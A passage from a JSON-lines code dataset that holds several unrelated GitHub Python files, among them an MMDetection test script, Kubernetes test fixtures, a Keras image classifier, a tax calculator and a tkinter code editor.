loc.append([x,y])\n\n c=0\n for _ in range(m): # 미리 연결된 간선들은 union 으로 합친다.\n u,v=map(int,input().split())\n if find(u-1) != find(v-1):\n union(u-1,v-1)\n c+=1\n\n for i in range(n-1):\n for j in range(i+1,n):\n dist=sqrt((loc[i][0]-loc[j][0])**2+(loc[i][1]-loc[j][1])**2)\n edge.append([dist,i,j])\n\n print(\"%.2f\"%kruskal(edge,n,c))","repo_name":"Minoolian/Coding_Test","sub_path":"Baekjoon/단계별 코딩테스트/29. MST/1774 Space.py","file_name":"1774 Space.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29227276643","text":"from django.shortcuts import render\nimport requests\n\n# Create your views here.\n\nURL = ('https://api.thesneakerdatabase.dev/v2/sneakers?limit=100&brand=nike')\n\ndef shoes(request):\n try:\n shoe_pic = []\n shoe_image = requests.get(URL).json()\n images = shoe_image[\"results\"]\n for shoe in images:\n if shoe[\"image\"][\"small\"]:\n shoe_pic.append(shoe[\"image\"][\"small\"])\n return render(request, \"shoes.html\", {\"shoe_pic\": shoe_pic })\n except ConnectionError:\n return render(request, '500.html')\n\n","repo_name":"d-boddie/Instagram-clone","sub_path":"shoes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42559747993","text":"import argparse\nimport random\nimport json\nimport os\n\nVERSION = 0.1\n# Create an ArgumentParser object\nparser = argparse.ArgumentParser(description='Warhammer 40K FFG System Generator version ' + str(VERSION) + \\\n '. By default allows user to enter each roll result every time a role is required in the instructions. The options allow for various levels of automating the generation.')\n\n# Add arguments to the parser\nparser.add_argument('-c', '--configFile', required=True, help='Configuration file containing generation steps and instructions')\n# parser.add_argument('--age', type=int, help='Age of the user')\nparser.add_argument('-a', '--automatic', default=False, action='store_true', help='Make all rolls for generated content internally without user interaction')\nparser.add_argument('-o', '--promptOutcome', default=False, action='store_true', help='Prompt for user acceptance of each role result. If the user does not like the role, the user can ask for a reroll')\n\ncurrent_directory = os.getcwd()\nprint(current_directory)\n\n#Constants\nTMP_PREFIX = \"C:\\\\SystemGenerator\\\\\"\n# TMP_PREFIX = \"/storage/emulated/0/qpython/projects3/RogueTrader/SystemGenerator/\"\nSYSTEM_GEN_STEPS = \"system_generation_steps.json\"\nKEYWORDS = {\n\t\"executeOnStep\"\n\t\"defineSteps\",\n\t\"steps\",\n\t\"diceRoll\"\n}\nALL_ATTRIBUTES_PROMPT = \"all system attributes\"\n\n# DICE = {\n# \t\"d5\": 5,\n# \t\"d10\": 10,\n# \t\"d100\": 100,\n# }\n\ngenerationSteps = []\n\n#Temp for developing on moble device \nconfig_file_path = TMP_PREFIX\n\ndef askAutomaticGeneration(prompt):\n manual_entry = input(\"Generate \" + prompt + \" automatically? [Y/n]: \")\n manual_entry = manual_entry.strip()\n if len(manual_entry) != 0 and \\\n (manual_entry[0] == \"N\" or manual_entry[0] == \"n\"):\n return False\n else:\n return True\n\ndef getRoll(die, numRolls, modifiers, minimum, maximum):\n roll = 0\n for _ in range(numRolls):\n roll += random.randint(1, die)\n\n if modifiers:\n for mod in modifiers:\n roll = roll + mod\n if roll < minimum:\n roll = minimum\n elif roll > maximum:\n roll = maximum\n \n return roll\n\n#TODO move into modules\ndef generateSystem(automatic, configFile):\n print(\"Generating system features...\")\n # Open the JSON file\n with open(configFile) as file:\n # Load the JSON data\n data = json.load(file)\n\n # Access the parsed data\n print(data)\n # steps = data[\"defineSteps\"]\n # for step in steps:\n # generationSteps.append(step)\n \n # print(generationSteps)\n\ndef getFullPath(file_name):\n return config_file_path + file_name\n\ndef main():\n print()\n print(\"Warhammer 40K FFG Star System Generator version \" + str(VERSION))\n print()\n # all_automatic_entries = askAutomaticGeneration(ALL_ATTRIBUTES_PROMPT)\n args = parser.parse_args()\n all_automatic_entries = args.automatic\n configFile = args.configFile\n print(\"Proceeding with options\")\n print(\"automatic: \" + str(all_automatic_entries))\n print(\"configFile: \" + str(configFile))\n \n generateSystem(all_automatic_entries, configFile)\n \n\nif __name__ == \"__main__\":\n main()","repo_name":"bduhbya/SystemGenerator","sub_path":"SysGenMain.py","file_name":"SysGenMain.py","file_ext":"py","file_size_in_byte":3151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40752374585","text":"import argparse\nimport os\n\nimport mmcv\nimport torch\nfrom mmcv.parallel import MMDataParallel, MMDistributedDataParallel\nfrom mmcv.runner import get_dist_info, init_dist, load_checkpoint\nfrom tools.fuse_conv_bn import fuse_module\n\nfrom mmdet.apis import multi_gpu_test, single_gpu_test\nfrom mmdet.core import wrap_fp16_model\nfrom mmdet.datasets import build_dataloader, build_dataset\nfrom mmdet.models import build_detector\n\n\nclass MultipleKVAction(argparse.Action):\n \"\"\"\n argparse action to split an argument into KEY=VALUE form\n on the first = and append to a dictionary. List options should\n be passed as comma separated values, i.e KEY=V1,V2,V3\n \"\"\"\n\n def _parse_int_float_bool(self, val):\n try:\n return int(val)\n except ValueError:\n pass\n try:\n return float(val)\n except ValueError:\n pass\n if val.lower() in ['true', 'false']:\n return True if val.lower() == 'true' else False\n return val\n\n def __call__(self, parser, namespace, values, option_string=None):\n options = {}\n for kv in values:\n key, val = kv.split('=', maxsplit=1)\n val = [self._parse_int_float_bool(v) for v in val.split(',')]\n if len(val) == 1:\n val = val[0]\n options[key] = val\n setattr(namespace, self.dest, options)\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(\n description='MMDet test (and eval) a model')\n parser.add_argument('config', help='test config file path')\n parser.add_argument('checkpoint', help='checkpoint file')\n parser.add_argument('--out', help='output result file in pickle format')\n parser.add_argument(\n '--fuse_conv_bn',\n action='store_true',\n help='Whether to fuse conv and bn, this will slightly increase'\n 'the inference speed')\n parser.add_argument(\n '--format_only',\n action='store_true',\n help='Format the output results without perform evaluation. It is'\n 'useful when you want to format the result to a specific format and '\n 'submit it to the test server')\n parser.add_argument(\n '--eval',\n type=str,\n nargs='+',\n help='evaluation metrics, which depends on the dataset, e.g., \"bbox\",'\n ' \"segm\", \"proposal\" for COCO, and \"mAP\", \"recall\" for PASCAL VOC')\n parser.add_argument('--show', action='store_true', help='show results')\n parser.add_argument(\n '--gpu_collect',\n action='store_true',\n help='whether to use gpu to collect results.')\n parser.add_argument(\n '--tmpdir',\n help='tmp directory used for collecting results from multiple '\n 'workers, available when gpu_collect is not specified')\n parser.add_argument(\n '--options', nargs='+', action=MultipleKVAction, help='custom options')\n parser.add_argument(\n '--launcher',\n choices=['none', 'pytorch', 'slurm', 'mpi'],\n default='none',\n help='job launcher')\n parser.add_argument('--local_rank', type=int, default=0)\n args = parser.parse_args()\n if 'LOCAL_RANK' not in os.environ:\n os.environ['LOCAL_RANK'] = str(args.local_rank)\n return args\n\n\ndef main():\n args = parse_args()\n\n assert args.out or args.eval or args.format_only or args.show, \\\n ('Please specify at least one operation (save/eval/format/show the '\n 'results) with the argument \"--out\", \"--eval\", \"--format_only\" '\n 'or \"--show\"')\n\n if args.eval and args.format_only:\n raise ValueError('--eval and --format_only cannot be both specified')\n\n if args.out is not None and not args.out.endswith(('.pkl', '.pickle')):\n raise ValueError('The output file must be a pkl file.')\n\n cfg = mmcv.Config.fromfile(args.config)\n # set cudnn_benchmark\n if cfg.get('cudnn_benchmark', False):\n torch.backends.cudnn.benchmark = True\n cfg.model.pretrained = None\n cfg.data.test.test_mode = True\n\n # init distributed env first, since logger depends on the dist info.\n if args.launcher == 'none':\n distributed = False\n else:\n distributed = True\n init_dist(args.launcher, **cfg.dist_params)\n\n # build the dataloader\n # TODO: support multiple images per gpu (only minor changes are needed)\n dataset = build_dataset(cfg.data.test)\n data_loader = build_dataloader(\n dataset,\n imgs_per_gpu=1,\n workers_per_gpu=cfg.data.workers_per_gpu,\n dist=distributed,\n shuffle=False)\n\n # build the model and load checkpoint\n model = build_detector(cfg.model, train_cfg=None, test_cfg=cfg.test_cfg)\n fp16_cfg = cfg.get('fp16', None)\n if fp16_cfg is not None:\n wrap_fp16_model(model)\n checkpoint = load_checkpoint(model, args.checkpoint, map_location='cpu')\n if args.fuse_conv_bn:\n model = fuse_module(model)\n # old versions did not save class info in checkpoints, this walkaround is\n # for backward compatibility\n if 'CLASSES' in checkpoint['meta']:\n model.CLASSES = checkpoint['meta']['CLASSES']\n else:\n model.CLASSES = dataset.CLASSES\n\n if not distributed:\n model = MMDataParallel(model, device_ids=[0])\n outputs = single_gpu_test(model, data_loader, args.show)\n else:\n model = MMDistributedDataParallel(\n model.cuda(),\n device_ids=[torch.cuda.current_device()],\n broadcast_buffers=False)\n outputs = multi_gpu_test(model, data_loader, args.tmpdir,\n args.gpu_collect)\n\n rank, _ = get_dist_info()\n if rank == 0:\n if args.out:\n print('\\nwriting results to {}'.format(args.out))\n mmcv.dump(outputs, args.out)\n kwargs = {} if args.options is None else args.options\n if args.format_only:\n dataset.format_results(outputs, **kwargs)\n if args.eval:\n dataset.evaluate(outputs, args.eval, **kwargs)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"joe-siyuan-qiao/DetectoRS","sub_path":"tools/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":6036,"program_lang":"python","lang":"en","doc_type":"code","stars":1119,"dataset":"github-code","pt":"67"} +{"seq_id":"38957133070","text":"import os\nfrom unittest.mock import MagicMock\n\nimport pytest\nfrom fastapi import Request\nfrom kubernetes import client\nfrom kubernetes.client import CoreV1Api, AppsV1Api, NetworkingV1Api\nfrom kubernetes.client import V1Ingress, V1IngressSpec, V1IngressRule\n\nfrom src.clients.CachedCatalogClient import CachedCatalogClient\nfrom src.clients.KubernetesClients import K8sClients\nfrom src.configs.settings import get_settings\nfrom src.models import DynamicServiceStatus\n\n\n@pytest.fixture(autouse=True)\ndef mock_request():\n return get_example_mock_request()\n\n\n@pytest.fixture(autouse=True)\ndef example_ingress():\n return get_example_ingress()\n\n\n@pytest.fixture(autouse=True)\ndef generate_kubeconfig():\n # Generate a kubeconfig file for testing\n # Overwrite kubeconfig\n os.environ[\"KUBECONFIG\"] = \"test_kubeconfig_file\"\n kubeconfig_path = os.environ[\"KUBECONFIG\"]\n\n kubeconfig_content = \"\"\"\\\napiVersion: v1\nkind: Config\ncurrent-context: test-context\nclusters:\n- name: test-cluster\n cluster:\n server: https://test-api-server\n insecure-skip-tls-verify: true\ncontexts:\n- name: test-context\n context:\n cluster: test-cluster\n user: test-user\nusers:\n- name: test-user\n user:\n exec:\n command: echo\n apiVersion: client.authentication.k8s.io/v1alpha1\n args:\n - \"access_token\"\n\"\"\"\n\n with open(kubeconfig_path, \"w\") as kubeconfig_file:\n kubeconfig_file.write(kubeconfig_content.strip())\n\n yield\n\n # Clean up the generated kubeconfig file after the tests\n os.remove(kubeconfig_path)\n\n\ndef get_example_mock_request():\n request = MagicMock(spec=Request)\n request.app.state.settings = get_settings()\n\n mock_module_info = {\n \"git_commit_hash\": \"test_hash\",\n \"version\": \"test_version\",\n \"git_url\": \"https://github.com/test/repo\",\n \"module_name\": \"test_module\",\n \"release_tags\": [\"test_tag\"],\n \"owners\": [\"test_owner\"],\n \"docker_img_name\": \"test_img_name\",\n }\n\n request.app.state.catalog_client = MagicMock(autospec=CachedCatalogClient)\n request.app.state.catalog_client.get_combined_module_info.return_value = mock_module_info\n request.app.state.catalog_client.list_service_volume_mounts.return_value = []\n request.app.state.catalog_client.get_secure_params.return_value = [{\"param_name\": \"test_secure_param_name\", \"param_value\": \"test_secure_param_value\"}]\n\n mock_k8s_clients = MagicMock(autospec=K8sClients)\n mock_k8s_clients.network_client = MagicMock(autospec=NetworkingV1Api)\n mock_k8s_clients.app_client = MagicMock(autospec=AppsV1Api)\n mock_k8s_clients.core_client = MagicMock(autospec=CoreV1Api)\n request.app.state.k8s_clients = mock_k8s_clients\n request.app.state.mock_module_info = mock_module_info\n\n return request\n\n\ndef get_example_ingress():\n settings = get_settings()\n ingress_spec = V1IngressSpec(rules=[V1IngressRule(host=settings.kbase_root_endpoint.replace(\"https://\", \"\").replace(\"https://\", \"\"), http=None)]) # no paths specified\n ingress = V1Ingress(\n api_version=\"networking.k8s.io/v1\",\n kind=\"Ingress\",\n metadata=client.V1ObjectMeta(\n name=\"dynamic-services\",\n annotations={\n \"nginx.ingress.kubernetes.io/rewrite-target\": \"/$2\",\n },\n ),\n spec=ingress_spec,\n )\n\n ingress_spec.rules = [V1IngressRule(host=\"ci.kbase.us\", http=None)]\n return ingress\n\n\n@pytest.fixture(autouse=True)\ndef example_dynamic_service_status_up():\n return get_example_dynamic_service_status(replicas=1)\n\n\n@pytest.fixture(autouse=True)\ndef example_dynamic_service_status_down():\n return get_example_dynamic_service_status(replicas=0)\n\n\ndef get_example_dynamic_service_status(replicas=1):\n return DynamicServiceStatus(\n url=\"test_url\",\n version=\"test_version\",\n module_name=\"test_module_name\",\n release_tags=[\"test_tag\"],\n git_commit_hash=\"test_hash\",\n deployment_name=\"test_deployment_name\",\n replicas=replicas,\n updated_replicas=1,\n ready_replicas=1,\n available_replicas=1,\n unavailable_replicas=1,\n )\n","repo_name":"kbase/service_wizard2","sub_path":"test/src/fixtures/fixtures.py","file_name":"fixtures.py","file_ext":"py","file_size_in_byte":4135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30286087683","text":"import matplotlib.pyplot as plt\nimport cv2\n\ncat4 = cv2.imread('../DATA/CATS_DOGS/train/cats/cat.4.jpg')\ncat4 = cv2.cvtColor(cat4,cv2.COLOR_BGR2RGB)\nplt.imshow(cat4)\ncat4.shape\n\ndog2 = cv2.imread('../DATA/CATS_DOGS/train/dogs/dog.2.jpg')\ndog2 = cv2.cvtColor(dog2,cv2.COLOR_BGR2RGB)\nplt.imshow(dog2)\ndog2.shape\n\nfrom keras.preprocessing.image import ImageDataGenerator\nimage_gen = ImageDataGenerator(rotation_range=40,\n width_shift_range=0.1,\n height_shift_range=0.1,\n rescale=1/255,\n shear_range=0.2,\n zoom_range=0.2,\n horizontal_flip=True,\n fill_mode='nearest'\n )\n\nplt.imshow(image_gen.random_transform(dog2))\n\nimage_gen.flow_from_directory('../DATA/CATS_DOGS/train')\n\nfrom keras.models import Sequential\nfrom keras.layers import Activation, Dropout, Flatten, Conv2D, MaxPooling2D, Dense\n\nmodel = Sequential()\n\nmodel.add(Conv2D(filters=32,kernel_size=(3,3),input_shape=(150,150,3),activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2,2)))\n\nmodel.add(Conv2D(filters=64,kernel_size=(3,3),input_shape=(150,150,3),activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2,2)))\n\nmodel.add(Conv2D(filters=64,kernel_size=(3,3),input_shape=(150,150,3),activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2,2)))\n\nmodel.add(Flatten())\n\nmodel.add(Dense(units= 128,activation='relu'))\n\nmodel.add(Dropout(0.5))\n\nmodel.add(Dense(units= 1,activation='sigmoid'))\n\nmodel.compile(loss='binary_crossentropy',\n optimizer='adam',\n metrics=['accuracy'])\nmodel.summary()\n\ntrain_image_gen = image_gen.flow_from_directory('../DATA/CATS_DOGS/train',\n target_size=(150,150),\n batch_size=16,\n class_mode='binary')\n\ntest_image_gen = image_gen.flow_from_directory('../DATA/CATS_DOGS/test',\n target_size=(150,150),\n batch_size=16,\n class_mode='binary')\n\ntrain_image_gen.class_indices\n\nresults = model.fit_generator(train_image_gen,epochs=100,\n steps_per_epoch=150,\n validation_data=test_image_gen,\n validation_steps=12)\n\nmodel.save('CATS_DOGS.h5')\n\nplt.plot(results.history['acc'])\n\n#for multiple classification binary>categorical, sigmoid>softmax\n\n\n#Making new predictions\n\nimport numpy as np\nfrom keras.preprocessing import image\ntest_image = image.load_img('../DATA/CATS_DOGS/single_prediction/cat_or_dog_1.jpg', target_size = (150, 150))\ntest_image = image.img_to_array(test_image)\ntest_image = np.expand_dims(test_image, axis = 0)\nresult = model.predict(test_image)\ntrain_image_gen.class_indices\nif result[0][0] == 1:\n prediction = 'dog'\nelse:\n prediction = 'cat'\n\n\n#Making new predictions with saved model\nfrom keras.models import load_model\nimport numpy as np\nfrom keras.preprocessing import image\n\ntest_image = image.load_img('../DATA/CATS_DOGS/single_prediction/cat_or_dog_2.jpg', target_size = (150, 150))\ntest_image = image.img_to_array(test_image)\ntest_image = np.expand_dims(test_image, axis = 0)\n\nnewmodel = load_model('CATS_DOGS.h5')\nresult = newmodel.predict_classes(test_image)\n\n\nif result[0][0] == 1:\n prediction = 'dog'\nelse:\n prediction = 'cat'\n \n\n \n \n \n ","repo_name":"Ta-SeenJunaid/Computer-Vision","sub_path":"8/16. Deep Learning on Custom Images.py","file_name":"16. Deep Learning on Custom Images.py","file_ext":"py","file_size_in_byte":3609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11368272562","text":"from config import * \n\ntaxLiability = effectiveTaxRate = 0\ntaxableIncome = TAXABLE_INCOME\n\n\n#fica tax, flat rate up to income limit\nif taxableIncome - FICA_TAX_INCOME > 0: #if income exceed this limit, then we just tax at the limit\n taxLiability = FICA_TAX_INCOME * FICA_TAX\nelse:\n taxLiability = taxableIncome * FICA_TAX #else tax the amount below the limit\n\n\n#income tax\nfor index in range(1,len(FED_TAX_INCOME_BUCKETS)): # go through each tax bracket\n \n taxableIncome = taxableIncome - (FED_TAX_INCOME_BUCKETS[index] - FED_TAX_INCOME_BUCKETS[index - 1]) #remove the money from each bucket, moving up the buckets\n \n if taxableIncome < 0: #if at any point the remaining taxable balance is negative, this means we've reached the highest bucket. Undo this and then tax the remaining amount\n taxLiability += (taxableIncome + (FED_TAX_INCOME_BUCKETS[index] - FED_TAX_INCOME_BUCKETS[index - 1])) * (FED_TAX[index-1])\n # taxableIncome = 0 # i think redundant, reassign right after \n break\n \n taxLiability += (FED_TAX_INCOME_BUCKETS[index] - FED_TAX_INCOME_BUCKETS[index - 1]) * (FED_TAX[index-1]) #else add the tax from this bucket and move to the next one\n\n\n#cap gains tax\ntaxableIncome = CAP_GAINS\n\nfor index in range(1,len(CAP_GAINS_TAX_INCOME_BUCKETS)): # go through each tax bracket\n \n taxableIncome = taxableIncome - (CAP_GAINS_TAX_INCOME_BUCKETS[index] - CAP_GAINS_TAX_INCOME_BUCKETS[index - 1]) #remove the money from each bucket, moving up the buckets\n\n if taxableIncome < 0: #if at any point the remaining taxable balance is negative, this means we've reached the highest bucket. Undo this and then tax the remaining amount\n taxLiability += (taxableIncome + (CAP_GAINS_TAX_INCOME_BUCKETS[index] - CAP_GAINS_TAX_INCOME_BUCKETS[index - 1])) * (CAP_GAINS_TAX[index-1])\n taxableIncome = 0 # we dont call this anymore but setting to 0 just in case\n break\n \n taxLiability += (CAP_GAINS_TAX_INCOME_BUCKETS[index] - CAP_GAINS_TAX_INCOME_BUCKETS[index - 1]) * (CAP_GAINS_TAX[index-1]) #else add the tax from this bucket and move to the next one\n\n\n\n\nif (ADJUSTED_GROSS_INCOME + CAP_GAINS) > 0: # if there is no income, then skip this to prevent divide by 0\n effectiveTaxRate = (taxLiability / (ADJUSTED_GROSS_INCOME + CAP_GAINS)) * 100\n print(\"You have an effective tax rate of {:.2f}% and have to pay ${:,.2f} in taxes\".format(effectiveTaxRate, taxLiability)) \nelse:\n print(\"You have no taxes to pay\") #and just say theres nothing to pay\n\n\n","repo_name":"w1ggle/retirement-planning","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":2536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15278938002","text":"from threading import Thread\nfrom math import ceil, floor\n\nimport pygal\n\nimport os\n\n\n__author__ = 'badams'\n\n\nclass ImageGeneratorThread(Thread):\n def __init__(self, config, series_data, directory, image_name):\n self.config = config\n # expects series data as a list of dictionaries in the form {\"name\":\"\", \"data\": [[x,y],[x,y]...]}\n self.series_data = series_data\n self.directory = directory\n self.image_name = image_name\n\n super(ImageGeneratorThread, self).__init__() # super lets you avoid referring to the base class explicitly\n\n def run(self):\n self.config = self.config()\n\n # set the css\n self.config.css.append('inline: path { stroke-width:2 !important; } .guide { stroke-dasharray: none !important; stroke:#474747 !important; stroke-width:1; }')\n\n # generate an svg chart and return the graphic\n chart = pygal.XY(self.config)\n\n for entry in self.series_data:\n # if the list of data is empty, add an empty series to the chart\n if len(entry[\"data\"]) > 0:\n # add entry to data in the proper form\n chart.add(entry[\"name\"], [(xy[0], xy[1]) for xy in entry[\"data\"]])\n else:\n # this prevents PyGal from throwing an exception while trying to interpolate\n chart.add(entry[\"name\"], [(0,0)])\n\n # export the chart svg\n chart.render_to_file(os.path.join(self.directory, self.image_name))","repo_name":"naveedalfarhan/MyPathian","sub_path":"api/models/ImageGeneratorThread.py","file_name":"ImageGeneratorThread.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"13014071057","text":"from tkinter import ttk\nfrom tkinter import *\nfrom tkinter.filedialog import askopenfilename\nimport tkinter.messagebox as alert\nfrom coloring import Color # self-made\nfrom threading import Thread\nimport files # self-made\nimport settings # self-made\nfrom console import Console\n\n\nclass App(Tk):\n def __init__(self):\n \"\"\" Here the app is created.\n first: the variables\n second: the widgets\n third: the packs\n last: the hotkeys\"\"\"\n\n # init tkinter.Tk()\n super(App, self).__init__()\n\n # set the global master variables in other files\n files.master = self; settings.master = self\n\n # set title\n self.title(\"python IDE\")\n\n # var types supported by tkinter for trace adds and non-statement variable changes\n self.state = StringVar(self, value=\"unsaved\")\n self.newfile = StringVar(self, value=\"new\")\n self.file = StringVar(self)\n self.lastsavedtext = StringVar(self)\n self.filename = StringVar(self, value=\"Untitled (unsaved)\")\n self.levels = [0]\n self.border = {\"highlightbackground\": \"#bbb\", \"highlightthickness\": \"1px\", \"highlightcolor\": \"#bbb\", \"relief\": FLAT}\n self.common_entry_arguments = {**self.border, \"font\": 'arial 11', \"selectbackground\": \"#acf\", \"selectforeground\": \"#000\"}\n self.common_text_arguments = {**self.common_entry_arguments, \"wrap\": NONE, \"tabs\": \"16\"}\n\n # automatic header updates a. o.\n self.state.trace_add(\"write\", callback=lambda *args, **kwargs: self.__update_filename())\n self.file.trace_add(\"write\", callback=lambda *args, **kwargs: [self.set_input(files.openfile(self.file.get())[0]),\n self.name.delete(\"0\", END),\n self.name.insert(END, self.file.get().split(\".\")[0]),\n self.__update_filename()])\n\n # creating the widgets\n # main coding\n self.input_frame = Frame(self)\n self.input = Text(self.input_frame, undo=True, **self.common_text_arguments)\n self.vscroll = Scrollbar(self.input_frame, orient=\"vertical\", command=self.input.yview)\n self.hscroll = Scrollbar(self.input_frame, orient=\"horizontal\", command=self.input.xview)\n self.input[\"yscrollcommand\"] = self.vscroll.set\n self.input[\"xscrollcommand\"] = self.hscroll.set\n self.line_numbers = Text(self.input_frame, width=4, background=\"#fff\", **self.common_text_arguments)\n\n # console\n self.console = Console\n self.console.master = self\n self.console.border = self.border\n self.console.common_entry_arguments = self.common_entry_arguments\n self.console.common_text_arguments = self.common_text_arguments\n self.console = self.console()\n\n # top frame for buttons and header.\n self.toppadding = Frame(self, height=5)\n self.top = Frame(self)\n self.header = Label(self.top, textvariable=self.filename, font='arial 18')\n self.run = ttk.Button(self.top, text=\"run\", command=lambda: [self.savefile(),\n self.console.run(self.name.get())])\n self.exit = ttk.Button(self.top, text=\"exit\", command=lambda: self.exit_app())\n self.save = ttk.Button(self.top, text=\"save\", command=lambda: self.savefile())\n self.open = ttk.Button(self.top, text=\"open\", command=lambda: self.__openfile())\n self.settings = ttk.Button(self.top, text=\"settings\", command=lambda: settings.opensettings())\n self.name = Entry(self.top, **self.common_entry_arguments)\n\n # bottom info\n self.bottom = Frame(self, **self.border)\n self.indexer = Label(self.bottom, text=\"1:1\")\n\n # pack anything at the right place\n # the lowest layer first\n self.bottom.pack(side=BOTTOM, padx=10, pady=5, fill=X)\n self.indexer.pack(side=RIGHT, padx=5)\n\n # the console\n self.console.pack(side=BOTTOM, fill=X, padx=10)\n\n # main coding widget\n self.input_frame.pack(side=BOTTOM, expand=True, fill=BOTH, padx=10, pady=10)\n self.hscroll.pack(side=BOTTOM, fill=X)\n self.line_numbers.pack(side=LEFT, fill=Y)\n self.input.pack(side=LEFT, expand=True, fill=BOTH)\n self.vscroll.pack(side=LEFT, fill=Y)\n\n # padding at the top\n self.toppadding.pack()\n\n # headers and main buttons\n self.top.pack(fill=X)\n self.header.pack(side=LEFT, padx=10)\n self.exit.pack(side=RIGHT, padx=5, ipadx=10)\n self.run.pack(side=RIGHT, padx=5, ipadx=10)\n self.save.pack(side=RIGHT, padx=5, ipadx=10)\n self.open.pack(side=RIGHT, padx=5, ipadx=10)\n self.settings.pack(side=RIGHT, padx=5, ipadx=10)\n self.name.pack(side=RIGHT, padx=5, ipadx=20)\n\n # **bindings and hotkeys**\n self.input.bind(\"\", lambda e: self.onKeyPress(e))\n self.input.bind_all(\"\", lambda e: [self.set_input(self.get_input()[:-1]), self.run.invoke()])\n self.input.bind_all(\"\", lambda e: self.exit.invoke())\n self.input.bind_all(\"\", lambda e: self.save.invoke())\n self.input.bind_all(\"\", lambda e: self.open.invoke())\n self.input.bind_all(\"\", lambda e: self.input.edit_undo())\n self.input.bind_all(\"\", lambda e: self.input.edit_redo())\n self.input.bind_all(\"\", lambda e: App().mainloop())\n\n self.input.focus()\n self.loop()\n\n def exit_app(self):\n if self.state == \"unsaved\":\n if alert.askquestion(title=\"save now?\", message=\"your code is unsaved! save now?\") == alert.YES:\n self.savefile()\n self.destroy()\n self.quit()\n\n def __openfile(self):\n if self.state.get() == \"unsaved\" and self.newfile.get() == \"old\":\n if alert.askquestion(title=\"save now?\", message=\"your code is unsaved! save now?\") == alert.YES:\n self.savefile()\n chosen = askopenfilename(filetypes=[(\"Python files\", \".py\"), (\"All files\", \"\")], initialdir=files.userdir + \"/python files\")\n chosen = chosen.split(\"/\")[-1].split(\".\")[0]\n self.file.set(chosen)\n if files.openfile(chosen)[1]:\n self.state.set(\"saved\")\n self.newfile.set(\"old\")\n self.lastsavedtext.set(self.get_input())\n else:\n self.file.set(\"\")\n self.state.set(\"unsaved\")\n Color(self.input)\n\n def set_input(self, content):\n self.input.delete(\"1.0\", END)\n self.input.insert(END, content)\n\n def get_input(self):\n return self.input.get(\"1.0\", END + \"-1c\")\n\n def onKeyPress(self, e=None):\n self.state.set(\"saved\" if self.lastsavedtext.get() == self.get_input() else \"unsaved\")\n if e is not None:\n if e.keysym == \"Up\" and self.input.index(INSERT).split(\".\")[0] == \"1\":\n self.input.mark_set(INSERT, \"1.0\")\n if e.keysym == \"Down\" and self.input.index(INSERT).split(\".\")[0] == self.input.index(END + \"-1c\").split(\".\")[0]:\n self.input.mark_set(INSERT, END + \"-1c\")\n\n def savefile(self):\n if self.state.get() == \"unsaved\":\n files.create(self.name.get(), self.get_input())\n self.lastsavedtext.set(self.get_input())\n Color(self.input)\n\n def loop(self):\n # Colors\n Color(self.input)\n\n # indexer in the bottom\n index = self.input.index(INSERT).split(\".\")\n index[1] = str(int(index[1]) + 1)\n self.indexer.config(text=\":\".join(index))\n\n # line numbers\n self.line_numbers.delete(\"1.0\", END)\n for i in range(self.input.count(\"1.0\", END, \"lines\")[0]):\n str_i = str(i + 1)\n if i + 1 < 1000:\n str_i = \" \" + str_i\n if i + 1 < 100:\n str_i = \" \" + str_i\n if i + 1 < 10:\n str_i = \" \" + str_i\n self.line_numbers.insert(END, (\"\\n\" + str_i) if i + 1 != 1 else str_i)\n self.line_numbers.yview_moveto(self.input.yview()[0])\n\n # recursion\n self.after(10, lambda: self.loop())\n\n def __update_filename(self):\n self.filename.set((\"Untitled \" if self.file.get().strip() == \"\" else self.file.get()) + \"(\" + self.state.get() + \")\")\n\n def ins_cons(self, chars, err=False):\n if err:\n self.console.stderr(chars)\n else:\n self.console.stdout(chars)\n\n def del_cons(self):\n self.console.output.config(state=\"normal\")\n self.console.output.delete(\"1.0\", END + \"-1c\")\n self.console.output.config(state=\"disabled\")\n\n def search(self):\n for tag in self.input.tag_names():\n self.input.tag_delete(tag)\n inp = self.search_entry.get()\n pos = self.input.search(inp, \"1.0\", END)\n while pos != \"\":\n self.input.tag_add(pos, pos, f\"{pos}+{len(inp)}c\")\n self.input.tag_config(pos, background=\"#ed0\")\n print(pos, f\"{pos}+{len(inp)}c\", end=\"\\t\\t\")\n pos = self.input.search(inp, f\"{pos}+{len(inp)}c\", END)\n print()\n","repo_name":"keizertje/myl","sub_path":"code_editor.py","file_name":"code_editor.py","file_ext":"py","file_size_in_byte":9312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4489773160","text":"n, k = map(int, input().split())\r\ncoins = []\r\nfor _ in range(n):\r\n coins.append(int(input()))\r\n\r\ndp = [0] * (k+1)\r\ndp[0] = 1\r\n\r\nfor coin in coins:\r\n for c in range(coin, k+1):\r\n if 0 <= c-coin:\r\n dp[c] += dp[c-coin]\r\n\r\nprint(dp[k])","repo_name":"SSH1007/Algorithm","sub_path":"백준/Gold/2293. 동전 1/동전 1.py","file_name":"동전 1.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"43383485171","text":"# 1. Написать ещё несколько произвольных функций (3-4 штуки) и решить задачу\n# со счетчиком аналогично той, которая была решена для запуска функции суммирования.\n\n# function 1\ndef 